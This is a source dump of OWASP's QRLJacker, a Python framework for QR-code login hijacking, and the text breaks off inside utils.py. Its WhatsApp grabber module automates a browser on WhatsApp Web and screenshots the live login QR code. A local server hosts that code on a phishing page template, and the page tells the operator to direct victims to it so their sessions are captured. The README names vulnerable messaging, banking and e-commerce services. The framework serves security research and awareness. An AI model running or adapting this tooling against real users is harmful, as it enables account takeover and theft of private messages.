├── QRLJacker ├── core │ ├── __init__.py │ ├── modules │ │ ├── __init__.py │ │ ├── grabber │ │ │ ├── __init__.py │ │ │ └── whatsapp.py │ │ └── post │ │ │ └── __init__.py │ ├── sessions.json │ ├── Data │ │ ├── version.txt │ │ └── banners.txt │ ├── color.py │ ├── www │ │ └── whatsapp │ │ │ └── index.html │ ├── db.py │ ├── templates │ │ └── phishing_page.html │ ├── Settings.py │ ├── module_utils.py │ ├── utils.py │ ├── module.py │ ├── Cli.py │ └── browser.py ├── profiles │ └── .gitignore ├── sessions │ └── .gitignore ├── Screenshots │ └── Screenshot1.png ├── requirements.txt ├── QrlJacker.py ├── docs │ └── README.md └── README.md ├── blob └── images │ ├── AttackFlow.JPG │ ├── BurpCallBack.JPG │ ├── QRLJacking.JPG │ ├── PhishingPopup.JPG │ ├── AttackerScenario.JPG │ ├── WhatsappSentBack.JPG │ └── NormalLoginScenario.JPG ├── .gitignore ├── .github └── workflows │ └── python-package.yml ├── README.md └── LICENSE /QRLJacker/core/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /QRLJacker/core/modules/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /QRLJacker/core/sessions.json: -------------------------------------------------------------------------------- 1 | {} 2 | -------------------------------------------------------------------------------- /QRLJacker/core/Data/version.txt: -------------------------------------------------------------------------------- 1 | 2.1.2 2 | -------------------------------------------------------------------------------- /QRLJacker/core/modules/grabber/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /QRLJacker/core/modules/post/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /QRLJacker/profiles/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | */ 3 | !.gitignore 4 | -------------------------------------------------------------------------------- /QRLJacker/sessions/.gitignore: -------------------------------------------------------------------------------- 1 | * 2 | */ 3 | !.gitignore 4 | -------------------------------------------------------------------------------- /blob/images/AttackFlow.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/QRLJacking/HEAD/blob/images/AttackFlow.JPG -------------------------------------------------------------------------------- /blob/images/BurpCallBack.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/QRLJacking/HEAD/blob/images/BurpCallBack.JPG -------------------------------------------------------------------------------- /blob/images/QRLJacking.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/QRLJacking/HEAD/blob/images/QRLJacking.JPG -------------------------------------------------------------------------------- /blob/images/PhishingPopup.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/QRLJacking/HEAD/blob/images/PhishingPopup.JPG -------------------------------------------------------------------------------- /blob/images/AttackerScenario.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/QRLJacking/HEAD/blob/images/AttackerScenario.JPG -------------------------------------------------------------------------------- /blob/images/WhatsappSentBack.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/QRLJacking/HEAD/blob/images/WhatsappSentBack.JPG -------------------------------------------------------------------------------- /blob/images/NormalLoginScenario.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/QRLJacking/HEAD/blob/images/NormalLoginScenario.JPG -------------------------------------------------------------------------------- /QRLJacker/Screenshots/Screenshot1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OWASP/QRLJacking/HEAD/QRLJacker/Screenshots/Screenshot1.png -------------------------------------------------------------------------------- /QRLJacker/requirements.txt: -------------------------------------------------------------------------------- 1 | terminaltables>=3.1.0 2 | selenium==3.141.0 3 | urllib3==1.26.15 4 | requests==2.28.2 5 | Pillow>=5.4.1 6 | Jinja2>=2.10 7 | user-agent>=0.1.9 8 | pathlib2>=2.3.5 9 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | QRLJacking-Framework/index.html 3 | 4 | QRLJacking-Framework/tmp.png 5 | 6 | QRLJacking-Framework/tmp.svg 7 | 8 | .DS_Store 9 | 10 | __pycache__ 11 | .autocomplete_history 12 | tmp.png 13 | full.png 14 | index.html 15 | geckodriver.log 16 | -------------------------------------------------------------------------------- /QRLJacker/core/color.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.7 2 | # -*- coding: utf-8 -*- 3 | #Written by: Karim shoair - D4Vinci ( QrlJacker-Framework ) 4 | import os,sys 5 | #green - yellow - blue - red - white - magenta - cyan - reset 6 | G, Y, B, R, W, M, C, end, Bold, underline = '\033[32m', '\033[93m', '\033[94m', '\033[31m', '\x1b[37m', '\x1b[35m', '\x1b[36m', '\033[0m', "\033[1m", "\033[4m" 7 | 8 | def status(text): 9 | print( end+C+"[+] "+end+G+text+end ) 10 | 11 | def error(text): 12 | print( end+M+"[!] "+end+R+text+end ) 13 | 14 | def warning(text): 15 | print( end+B+"[W] "+end+Y+text+end ) 16 | 17 | def goodbye(): 18 | #print(G+" Thanks for playing with "+B+"QrlJacker-Framework! "+R+"<3"+end) 19 | #Never say goodbye :V 20 | exit(0) 21 | -------------------------------------------------------------------------------- /QRLJacker/core/www/whatsapp/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | whatsapp 4 | 5 | 6 | 10 |

QRLJacker: whatsapp

11 | Now you have a local webserver hosting your QRLJacking payload, Here's some instructions to be done: 12 |
1. This is your always updated whatsapp QR Code 13 | Scan me! 14 |
2. Edit phishing_page.html file by adding your phishing page source code, style, resources, etc.. (located inside framework in path core/templates/phishing_page.html) 15 |
3. Point your victim to your phishing URL, Convince to scan the QR code and Bob is your uncle! 16 |
17 | 18 | -------------------------------------------------------------------------------- /QRLJacker/core/db.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.7 2 | # Written by: Karim shoair - D4Vinci ( QrlJacker-Framework ) 3 | import os,importlib 4 | from . import utils 5 | 6 | def index_modules(): 7 | # Return list of all modules 8 | modules = [] 9 | for path,_, files in os.walk( os.path.join("core","modules") ): 10 | for name in [f for f in files if f.endswith(".py")]: 11 | modules.append( os.path.join(path, name) ) 12 | modules = [x for x in modules if ("__" not in x and "Data"+os.sep not in x and x.endswith('.py'))] 13 | modules = utils.my_map( (lambda x:x.replace(".py","").replace("\\","/")),modules) 14 | modules = utils.my_map(lambda x:x.replace(os.path.join("core","modules",""),""),modules) 15 | return modules 16 | 17 | def grab(module): 18 | # Return info from module 19 | module = importlib.import_module(utils.pythonize( "/".join(["core","modules",module]))) 20 | return getattr(module, 'info') 21 | -------------------------------------------------------------------------------- /QRLJacker/core/templates/phishing_page.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | {{name}} 4 | 5 | 6 | 10 |

QRLJacker: {{name}}

11 | Now you have a local webserver hosting your QRLJacking payload, Here's some instructions to be done: 12 |
1. This is your always updated {{name}} QR Code 13 | Scan me! 14 |
2. Edit phishing_page.html file by adding your phishing page source code, style, resources, etc.. (located inside framework in path core/templates/phishing_page.html) 15 |
3. Point your victim to your phishing URL, Convince to scan the QR code and Bob is your uncle! 16 |
17 | 18 | 19 | -------------------------------------------------------------------------------- /QRLJacker/core/Settings.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.7 2 | # Here I put all the constant things between the scripts so I don't forget them 3 | # Also give myself another reason to start refactoring the whole code in OOP :D 4 | 5 | from core.color import * 6 | global debug,development,verbose 7 | global path,history,running_module,name,headless_browser,visible_browser 8 | global previous 9 | path = None # The core directory we started in 10 | debug = False # Framework mode 11 | development = False # Framework mode 12 | verbose = False # Framework mode 13 | running_module = False # The current running module and used to decide which cli to use 14 | headless_browser = False # The current instance of my headless browser class 15 | visible_browser = False # The current instance of my visible browser class 16 | previous = [] # All modules used before, using this in previous command 17 | history = [] # Used in commands history ofc! 18 | 19 | # I know I could use simply use `list.append(element)` but this way looks cooler :"D 20 | update_history = lambda h:history.append(h) 21 | update_previous = lambda:previous.append(running_module) 22 | 23 | name = W+underline+"QrlJacker"+end 24 | def add_module(p): global name;name = W+underline+"QrlJacker"+end+ W+" Module("+R+p+W+")"+end # Fuck lambda 25 | def reset_name() : global name;name = W+underline+"QrlJacker"+end 26 | -------------------------------------------------------------------------------- /.github/workflows/python-package.yml: -------------------------------------------------------------------------------- 1 | # This workflow will install Python dependencies, run tests and lint with a variety of Python versions 2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-python 3 | 4 | name: Python package 5 | 6 | on: 7 | push: 8 | branches: [ "master" ] 9 | pull_request: 10 | branches: [ "master" ] 11 | 12 | jobs: 13 | build: 14 | 15 | runs-on: ubuntu-latest 16 | strategy: 17 | fail-fast: false 18 | matrix: 19 | python-version: ["3.9", "3.10", "3.11"] 20 | 21 | steps: 22 | - uses: actions/checkout@v3 23 | - name: Set up Python ${{ matrix.python-version }} 24 | uses: actions/setup-python@v3 25 | with: 26 | python-version: ${{ matrix.python-version }} 27 | - name: Install dependencies 28 | run: | 29 | python -m pip install --upgrade pip 30 | python -m pip install flake8 pytest 31 | if [ -f requirements.txt ]; then pip install -r requirements.txt; fi 32 | - name: Lint with flake8 33 | run: | 34 | # stop the build if there are Python syntax errors or undefined names 35 | flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics 36 | # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide 37 | flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics 38 | - name: Test with pytest 39 | run: | 40 | pytest 41 | -------------------------------------------------------------------------------- /QRLJacker/core/modules/grabber/whatsapp.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Written by: Karim shoair - D4Vinci ( QrlJacker-Framework ) 3 | from core.module_utils import types 4 | 5 | class info: 6 | author = "Karim Shoair (D4Vinci)" 7 | short_description = "Whatsapp QR-sessions grabber and controller" 8 | full_description = None 9 | 10 | class execution: 11 | module_type = types.grabber 12 | name = "whatsapp" 13 | url = "https://web.whatsapp.com" 14 | image_xpath = '/html/body/div[1]/div/div/div[3]/div[1]/div/div/div[2]/div/canvas' 15 | img_reload_button = '/html/body/div[1]/div/div/div[3]/div[1]/div/div/div[2]/div/span/button' 16 | change_identifier = '/html/body/div[1]/div/div/div[4]/header/div[1]/div' 17 | 18 | # 19 | # documentation for "change_identifier": 20 | # 21 | # The xpath of the Avatar image is used as an identifier ("change_identifier" variable): 22 | # if it is found it means that we are on the Chat page and therefore we have obtained a 23 | # valid session 24 | # 25 | # Avatar image for Android: '/html/body/div[1]/div/div/div[4]/header/div[1]/div/img' 26 | # Avatar image for IOS: '/html/body/div[1]/div/div/div[4]/header/div[1]/div/div/span' 27 | # 28 | # Common XPath for both 29 | # platforms: '/html/body/div[1]/div/div/div[4]/header/div[1]/div' 30 | # 31 | # Over time the xpath of these items may change. If you encounter problems it is recommended 32 | # to check the source code of the Whatsapp web page to verify the new xpaths and possibly 33 | # change this configuration file 34 | # 35 | 36 | session_type = "profile" -------------------------------------------------------------------------------- /QRLJacker/QrlJacker.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.7 2 | # -*- coding: utf-8 -*- 3 | #Written by: Karim shoair - D4Vinci ( QrlJacker-Framework ) 4 | from sys import version_info as py_ver 5 | import argparse,os 6 | if ( py_ver.major==3 and py_ver.minor<7 ): 7 | # The second condition is for the future releases of python 8 | error("The framework is designed to work only on python 3.7 or above!") 9 | error("You are using version "+".".join( map( str,[py_ver.major, py_ver.minor, py_ver.micro] )) ) 10 | exit(0) 11 | 12 | elif os.name=="nt": 13 | error("The framework is designed to work on Linux or MacOS only! Sorry for that :)") 14 | exit(0) 15 | 16 | from core import Cli,utils,Settings,db 17 | from core.color import * 18 | 19 | parser = argparse.ArgumentParser(prog='QrlJacker.py') 20 | parser.add_argument("-r", metavar='', help="Execute a resource file (history file).") 21 | parser.add_argument("-x", metavar='', help="Execute a specific command (use ; for multiples).") 22 | parser.add_argument("--debug",action="store_true", help="Enables debug mode (Identifying problems easier).") 23 | parser.add_argument("--dev",action="store_true", help="Enables development mode (Reloading modules every use).") 24 | parser.add_argument("--verbose",action="store_true", help="Enables verbose mode (Display more details).") 25 | parser.add_argument("-q",action="store_true", help="Quit mode (no banner).") 26 | args = parser.parse_args() 27 | 28 | def main(): 29 | Settings.path = os.getcwd() 30 | if args.debug: 31 | Settings.debug = True 32 | if args.dev: 33 | Settings.development = True 34 | if args.verbose: 35 | Settings.verbose = True 36 | if not args.q: 37 | utils.banner(db.index_modules()) 38 | 39 | if args.x: 40 | for c in args.x.split(";"): 41 | Cli.start(c) 42 | Cli.start() 43 | elif args.r: 44 | try: 45 | with open(args.r,"r") as f: 46 | cmds = f.readlines() 47 | for cmd in cmds: 48 | Cli.start(cmd.strip()) 49 | Cli.start() 50 | except: 51 | error("Can't open the specifed resource file!") 52 | exit(0) 53 | else: 54 | Cli.start() 55 | #You think it's simple when you look here huh :"D 56 | sys.exit() 57 | 58 | if __name__ == '__main__': 59 | main() 60 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | *QRLJacking* - A New Social Engineering Attack Vector 2 | ==================== 3 | ![](https://github.com/OWASP/QRLJacking/blob/master/blob/images/QRLJacking.JPG?raw=true) 4 | 5 | 6 | 7 | 8 | 9 | 10 | Find documentation in our [Wiki](https://github.com/OWASP/QRLJacking/wiki). 11 | ## What is QRLJacking? 12 | QRLJacking or Quick Response Code Login Jacking is a simple social engineering attack vector capable of session hijacking affecting all applications that rely on the “Login with QR code” feature as a secure way to login into accounts. In a nutshell, the victim scans the attacker’s QR code which results in session hijacking. 13 | 14 | 15 | ## Exploitation, Client Side Setup (Attacker's browser): 16 | 17 | Using QRLJacker - [QRLJacking Exploitation Framework](https://github.com/OWASP/QRLJacking/tree/master/QRLJacker) 18 | 19 | ## Demo Video: 20 | Attacking WhatsApp Web Application and performing a MITM attack to inject a bogus ad including WhatsApp QR Code. 21 | [Demo Video](https://goo.gl/NLRdtZ) 22 | 23 | 24 | ## Technical Paper 25 | The technical paper clarifying everything about the QRLJacking attack vector can be found directly via our [Wiki](https://github.com/OWASP/QRLJacking/wiki). 26 | 27 | # Vulnerable Web Applications and Services 28 | There are a lot of well-known web applications and services which were vulnerable to this attack until the date we wrote this paper. Here are some examples (that we have reported) including, but not limited to: 29 | 30 | ### Chat Applications: 31 | 32 | WhatsApp, WeChat, Line, Weibo, QQ Instant Messaging 33 | 34 | 35 | ### Mailing Services: 36 | 37 | QQ Mail (Personal and Business Corporate), Yandex Mail 38 | 39 | ### eCommerce: 40 | 41 | Alibaba, Aliexpress, Taobao, Tmall, 1688.com, Alimama, Taobao Trips 42 | 43 | 44 | ### Online Banking: 45 | 46 | AliPay, Yandex Money, TenPay 47 | 48 | 49 | ### Passport Services “Critical”: 50 | 51 | Yandex Passport (Yandex Mail, Yandex Money, Yandex Maps, Yandex Videos, etc...) 52 | 53 | ### Mobile Management Software: 54 | 55 | AirDroid 56 | 57 | ### Other Services: 58 | 59 | MyDigiPass, Zapper & Zapper WordPress Login by QR Code plugin, Trustly App, Yelophone, Alibaba Yunos 60 | 61 | # Author 62 | 63 | 64 | [Mohamed Abdelbasset Elnouby (@SymbianSyMoh)](https://github.com/SymbianSyMoh) 65 | 66 | Mohamed.Baset@OWASP.org 67 | 68 | # Acknowledgements 69 | (List in no particular order) 70 | 71 | - [Mohamed Abdel Aty (@M_Aty)](https://github.com/mohamedaty) 72 | - [Mostafa Kassem (@Zanzofily)](https://github.com/Zanzofily) 73 | - [Karim Shoair (@D4Vinci)](https://github.com/D4Vinci) 74 | - [Abdelrahman Shawky (@ShawkyZ)](https://github.com/ShawkyZ) 75 | - [Ahmed Elsobky (@0xSobky)](https://github.com/0xSobky) 76 | - [Ahmed Abbas (@Fiberghost)](https://github.com/fiberghost) 77 | - [Hiram Camarillo (@Hiramcoop)](https://github.com/hiramcoop) 78 | - [Juan Carlos Mejia (@Th3kr45h)](https://github.com/th3kr45h) 79 | 80 | -------------------------------------------------------------------------------- /QRLJacker/core/Data/banners.txt: -------------------------------------------------------------------------------- 1 | _ 2 | / \ __ _\( )/_ 3 | \ \ ,, / / | / \ | /(O)\ 4 | '-.`\()/`.-' \_\\ //_/ _.._ _\(o)/_ // \\ 5 | .--_'( )'_--. .'/()\'. .' '. /(_)\ _\\()//_ 6 | / /` /`""`\ `\ \ \\ // / __ \ / // \\ \ 7 | | | >< | | , | >< | , | \__/ | 8 | \ \ / / . \ \ / / . _ 9 | _ '.__.' _\(O)/_ \_'--`( )'--'_/ __ _\(_)/_ 10 | _\( )/_ /(_)\ .--'/()\'--. | / \ | /(O)\ 11 | /(O)\ // \\ _ / /` '' `\ \ \_\\ //_/ {Name} 12 | _\\()//_ _\(_)/_ | | //()\\ {Description} 13 | / // \\ \ /(o)\ \ / \\ // {Loaded} 14 | | \__/ | GANG BANG!! 15 | $$$$$AnyShIt$$$$$$ 16 | _____________________________________ 17 | !\/ ! \/ ./ 18 | !/\ ! |\ ./ 19 | ! \ ! / \ ./ 20 | ! \______!______| \ ,/ 21 | ! /\ ! ./\ ,/ 22 | ! / \ ! | \ ,/ 23 | !/ \___!____| ,/ Everything is connected, even the simplest things! 24 | ! / \ _!__ *\,/ 25 | ! ! \ ! \,/ 26 | ! ! | \! ,/ 27 | !----------K/ 28 | ! ! ,! /| {Name} 29 | ! !/ / | {Description} 30 | ! / \ / | {Loaded} 31 | !\./ \/ | 32 | !/\ / | 33 | ! \ / .o. 34 | ! \/ :O: 35 | ! / " 36 | ! / 37 | ! / 38 | !/ 39 | ! 40 | ! 41 | ! 42 | $$$$$AnyShIt$$$$$$ 43 | :'#######::'########::'##:::::::::::::'##::::'###:::::'######::'##:::'##:'########:'########:: 44 | '##.... ##: ##.... ##: ##::::::::::::: ##:::'## ##:::'##... ##: ##::'##:: ##.....:: ##.... ##: 45 | ##:::: ##: ##:::: ##: ##::::::::::::: ##::'##:. ##:: ##:::..:: ##:'##::: ##::::::: ##:::: ##: 46 | ##:::: ##: ########:: ##::::::::::::: ##:'##:::. ##: ##::::::: #####:::: ######::: ########:: {Name} 47 | ##:'## ##: ##.. ##::: ##:::::::'##::: ##: #########: ##::::::: ##. ##::: ##...:::: ##.. ##::: {Description} 48 | ##:.. ##:: ##::. ##:: ##::::::: ##::: ##: ##.... ##: ##::: ##: ##:. ##:: ##::::::: ##::. ##:: {Loaded} 49 | : ##### ##: ##:::. ##: ########:. ######:: ##:::: ##:. ######:: ##::. ##: ########: ##:::. ##: 50 | :.....:..::..:::::..::........:::......:::..:::::..:::......:::..::::..::........::..:::::..:: 51 | $$$$$AnyShIt$$$$$$ 52 | ========== 53 | == == 54 | = ==== = 55 | = ==== = 56 | = ==== = {Name} 57 | = ==== = {Description} 58 | = ==== = {Loaded} 59 | = = = = 60 | = == = 61 | == == 62 | ========== 63 | $$$$$AnyShIt$$$$$$ 64 | ▄▄▄▄▄▄▄ ▄ ▄▄ ▄▄▄▄▄▄▄ 65 | █ ▄▄▄ █ ██ ▀▄ █ ▄▄▄ █ 66 | █ ███ █ ▄▀ ▀▄ █ ███ █ 67 | █▄▄▄▄▄█ █ ▄▀█ █▄▄▄▄▄█ 68 | ▄▄ ▄ ▄▄▀██▀▀ ▄▄▄ ▄▄ 69 | ▄██ ▀ ▄ █▄▀ ▄ ▄█▀▀ ▄ {Name} 70 | █▀█▄▄█▄ ▀▀▄▀▄▄▀ ▀▀▄ █ {Description} 71 | ▄▄▄▄▄▄▄ █ ▄▀ ▄█▄▄██ {Loaded} 72 | █ ▄▄▄ █ ▄▄█▀█▄ ▀ ▄▄ 73 | █ ███ █ ▀▀█▀▄ ██ ▀▀█ 74 | █▄▄▄▄▄█ █▀ ▄▄▀▀ █▄ ▄ 75 | -------------------------------------------------------------------------------- /QRLJacker/docs/README.md: -------------------------------------------------------------------------------- 1 | Well, I worked so hard to make the development as simple as possible and you will see that :smile: 2 | > before starting make sure you turned the development mode on. If you done so, the framework will reload the module every time you run it with the new changes without needing to restart the framework 3 | 4 | # Writing a grabber module for the Framework 5 | - Grabber modules are the main modules in the framework and it lies in the directory `core/modules/grabber` 6 | - Once you add any python file there, it gets loaded into the framework with three options automatically. The three options are (of course) host, port and useragent 7 | - The code inside the module file should be as follows: 8 | 9 | ``` 10 | # -*- coding: utf-8 -*- 11 | from core.module_utils import types 12 | 13 | class info: 14 | author = "" # (1) 15 | short_description = "" # (2) 16 | full_description = None # (3) 17 | 18 | class execution: 19 | module_type = types.grabber 20 | name = "" # (4) 21 | url = "" # (5) 22 | image_xpath = "" # (6) 23 | img_reload_button = None # (7) 24 | change_identifier = "" # (8) 25 | session_type = "localStorage" # (9) 26 | 27 | ``` 28 | 29 | The code variables is described below: 30 | 1. Here you add your name which will appear in the framework 31 | 2. Here you put a quick short description which will appear when listing the Modules 32 | 3. Here you put the full Description to your module if it's necessary and it will appear only when using the `info` command. If you won't add one, leave it as None and the short description will be used instead. 33 | 4. The name of the website which will be used inside the framework and also you should create a folder with the same name as the variable value in the path `core/www` example: `core/www/whatsapp` 34 | 5. The Url which have the QR code and used to load the session example: `https://web.whatsapp.com` 35 | 6. The exact xpath to the QR image position in the page because it will be used by the framework to screenshot the QR code image. 36 | 7. If this websites checks for idle and wants you to click refresh every few minutes like whatsapp for example then put the exact xpath for this button when it appears and the framework will run a thread to check every few seconds the reload button appearance then click it. If this technique isn't used, leave the variable as None. 37 | 8. The xpath of an element in the page disappears only when the session loads. For example the QR code img tag in whatsapp. 38 | 9. This variable takes one of two values `localStorage` or `Cookies`. The value should be the same used in the website to determine user session. 39 | 40 | And voilaaa! You have created your first module. You can keep it for yourself or better make a PR to the framework so everyone can use your module with your name on it, do the math :smile: 41 | -------------------------------------------------------------------------------- /QRLJacker/core/module_utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.7 2 | import os, random, socketserver, http.server, _thread as thread 3 | from jinja2 import Environment, PackageLoader, FileSystemLoader 4 | from binascii import a2b_base64 5 | from PIL import Image 6 | from . import Settings 7 | from selenium.webdriver.common.by import By 8 | 9 | class server: 10 | def __init__(self, template_name="phishing_page.html", *args, **kwargs): 11 | self.templates_dir = os.path.join(Settings.path,"core","templates") 12 | env = Environment(loader=FileSystemLoader(searchpath=self.templates_dir)) 13 | template = env.get_template(template_name) 14 | self.html = template.render(*args,**kwargs) 15 | self.name = kwargs["name"] 16 | self.port = kwargs["port"] 17 | 18 | def start_serving(self,host="0.0.0.0"): 19 | serve_dir = os.path.join(Settings.path,"core","www",self.name) 20 | f = open( os.path.join(serve_dir,"index.html"),"w") 21 | f.write(self.html) 22 | f.close() 23 | class ReusableTCPServer(socketserver.TCPServer): 24 | allow_reuse_address = True 25 | logging = False 26 | class MyHandler(http.server.SimpleHTTPRequestHandler): 27 | def __init__(self, *args, **kwargs): 28 | super().__init__(*args, directory=serve_dir, **kwargs) 29 | def log_message(self, format, *args): 30 | if self.server.logging: 31 | http.server.SimpleHTTPRequestHandler.log_message(self, format, *args) 32 | 33 | self.httpd = ReusableTCPServer( (host, self.port), MyHandler) 34 | t = thread.start_new_thread(self.httpd.serve_forever, ()) 35 | 36 | def stop_web_server(self): 37 | self.httpd.socket.close() 38 | 39 | class misc: 40 | def Screenshot( browser, img_xpath, name): # PicName, location, size): 41 | # Take a screenshot to the page then cut the QR image 42 | img_path = os.path.join(Settings.path, "core", "www", name, "full.png") 43 | imgObject = browser.find_element(By.XPATH, img_xpath) # Getting the image element 44 | browser.save_screenshot(img_path) # Taking screenshot to the whole page 45 | img = Image.open(img_path) 46 | left,top = imgObject.location['x'],imgObject.location['y'] # Getting the image exact location (1) 47 | right = left + imgObject.size['width'] # (2) 48 | bottom = top + imgObject.size['height'] # (3) 49 | box = (int(left), int(top), int(right), int(bottom)) # Defines crop points 50 | final = img.crop(box) # Croping the specific part we need to crop 51 | final.load() 52 | final.save(img_path.replace("full","tmp")) # Overwritting the full screenshot image with the cropped one 53 | 54 | def base64_to_image( base64_data): 55 | # Becomes useful if the targeted website is loading the image from a base64 string 56 | return a2b_base64( base64_data.replace("data:image/png;base64,","") ) 57 | 58 | def gen_random(): 59 | # Generate a random number to use in file naming 60 | return str( random.randint(1,100)+random.randint(1,1000) ) 61 | 62 | # Options format: [Required or not, option_description, default_value] 63 | # Required --> 1 # Means that it must have value 64 | # Not required --> 0 # Means that it could have value or not 65 | class types: 66 | class grabber: 67 | options = { 68 | "port":[1,"The local port to listen on.",80], 69 | "host":[1,"The local host to listen on.","0.0.0.0"], 70 | "useragent":[1,"Make useragent is the (default) one, a (random) generated useragent or a specifed useragent","(default)"] 71 | } 72 | 73 | class post: 74 | options = { 75 | "session_id":[1,"Session id to run the module on",""] 76 | } 77 | -------------------------------------------------------------------------------- /QRLJacker/core/utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3.7 2 | #Written by: Karim shoair - D4Vinci ( QrlJacker-Framework ) 3 | import sys, os, time, random, importlib, readline, atexit 4 | from .color import * 5 | from terminaltables import AsciiTable as table 6 | from urllib.request import urlopen 7 | 8 | def banner(m): 9 | #Choose a random banner and prints it 10 | os.system("clear") 11 | #m = db.index_modules() 12 | banners = open(os.path.join("core","Data","banners.txt")).read().split("$$$$$AnyShIt$$$$$$") 13 | banner = random.choice(banners) 14 | v = open(os.path.join("core","Data","version.txt")).read().strip() 15 | grabbers = len([ i for i in m if "grabber" in i]) 16 | post = len([ i for i in m if "post" in i]) 17 | banner_to_print = Bold+G + banner.format(Name=f"{end+R}QrlJacker-Framework {end+B}By {Bold}@D4Vinci -{M} V{v+end+Bold+G}", 18 | Description=f"{end+C}Attack vector By Mohamed Abdelbasset Elnouby {end+Bold+B}(@SymbianSyMoh){end+Bold+G}", 19 | Loaded=f"{end+B}Loaded {end+R}{grabbers}{end+B} grabber(s), {end+R}{post}{end+B} post module(s).{G+Bold}") + end 20 | print(banner_to_print) 21 | return 22 | 23 | def getinput(): 24 | # Return the suitable input type according to python version 25 | ver = sys.version[0] 26 | if ver=="3": 27 | return input 28 | else: 29 | return raw_input 30 | 31 | def reload(module): 32 | # Reload an imported module and return the imported of course 33 | return importlib.reload(module) 34 | 35 | def create_table(headers,rows): 36 | # Prints a table with the given parameters 37 | #print(table([["Header1","Header2"],["Row"]],"name").table) 38 | Main = [] 39 | Main.append(headers) 40 | for row in rows:Main.append(row) 41 | t = table(Main) 42 | t.inner_column_border = False 43 | t.outer_border = False 44 | t.inner_heading_row_border = False 45 | t.inner_footing_row_border = False 46 | print("\n"+t.table) 47 | 48 | def pythonize(path): 49 | # Normal path to python importable path 50 | return path.lower().replace('/', '.').replace("\\","") 51 | 52 | def humanize(path): 53 | # Python importable path to normal path 54 | return path.lower().replace('.', '/') 55 | 56 | def grab_wanted(cmd,keywords): 57 | #To check for the wanted command on typos 58 | wanted = "" 59 | for i in reversed(range(1,5)): # Danger! Magic,don't touch :"D 60 | oo = [s for s in keywords if (s[:i]==cmd[:i] and s not in wanted) ] 61 | if len(oo)>1: 62 | wanted += ", ".join(oo) 63 | elif len(oo)==1: 64 | wanted += ", "+oo[0] 65 | return wanted 66 | 67 | def check_version(): 68 | #check for core version online 69 | u = "https://raw.githubusercontent.com/OWASP/QRLJacking/master/QRLJacker/core/Data/version.txt" 70 | try: 71 | res = urlopen(u).read().decode('utf-8').strip() 72 | return res 73 | except: 74 | return None 75 | 76 | def my_map(func,values): 77 | # Because map behaves differently in python 2 and 3, I decided to write my own fuckin version :3 78 | result = [] 79 | for value in values: 80 | result.append( func(value) ) 81 | return result 82 | 83 | """ 84 | def slow_print(text): 85 | for s in text: 86 | if sys.version_info[0]==2: 87 | sys.stdout.write(s) 88 | else: 89 | print(s, end='') 90 | time.sleep(0.1) 91 | """ 92 | # TODO: make autocomplete fix typos (Done) 93 | # TODO: make autocomplete with parts like whatsapp replaced with grabber/whatsapp (DONE) 94 | # Say hi to my own autocomplete implementation :) 95 | class MyCompleter(object): 96 | def __init__(self, options): 97 | self.options = sorted(options) 98 | self.module_options = sorted(["host","port","useragent"]) 99 | def complete(self, text, state): 100 | if state == 0: 101 | if text: 102 | text = text.lower() 103 | line = readline.get_line_buffer() # This one gets the whole line typed 104 | if line.startswith("use") or line.startswith("info"): # This works if the word isn't use/info command but use/info command is typed before so we only return modules 105 | self.matches = [m for m in self.options if "/" in m and m.startswith(text)] 106 | if len(self.matches)==0: # This returns modules that have any word of the current written ones 107 | self.matches = [m for m in self.options if "/" in m and text in m] 108 | 109 | elif line.startswith("set") and "set" in self.options: # This returns options for set command but only when it's available :D 110 | self.matches = [m for m in self.module_options if m.startswith(text)] 111 | if len(self.matches)==0: # This returns all options if no thing is written after the set command 112 | self.matches = self.module_options 113 | else: 114 | self.matches = [s for s in self.options if s.startswith(text) and not "/" in s] 115 | if len(self.matches)==0: 116 | possible_matches = [s for s in self.options if not "/" in s] 117 | wanted = [] 118 | for i in reversed(range(1,5)): # Fixing typos to return matches if there's no matches :D 119 | wanted.extend( [ s for s in possible_matches if (s[:i]==text[:i] and s not in wanted) ]) 120 | if len(wanted)>0: 121 | self.matches = sorted(wanted) 122 | break 123 | self.matches = sorted(wanted) 124 | else: 125 | line = readline.get_line_buffer() 126 | if line.startswith("use "): # This works if there's no word typed but use command was typed before 127 | self.matches = [m for m in self.options if "/" in m] 128 | elif line.startswith("set") and "set" in self.options: 129 | self.matches = self.module_options 130 | else: 131 | self.matches = [m for m in self.options if not "/" in m ] 132 | try: 133 | return self.matches[state] 134 | except IndexError: 135 | return None 136 | 137 | history_file = os.path.join(".autocomplete_history") 138 | def save_history(history_file=history_file): # So you can use the up key to access the previous session commands 139 | readline.write_history_file(history_file) 140 | 141 | def Input_completer(keywords): 142 | completer = MyCompleter(keywords) 143 | readline.set_completer(completer.complete) 144 | if "libedit" in readline.__doc__: 145 | readline.parse_and_bind("bind ^I 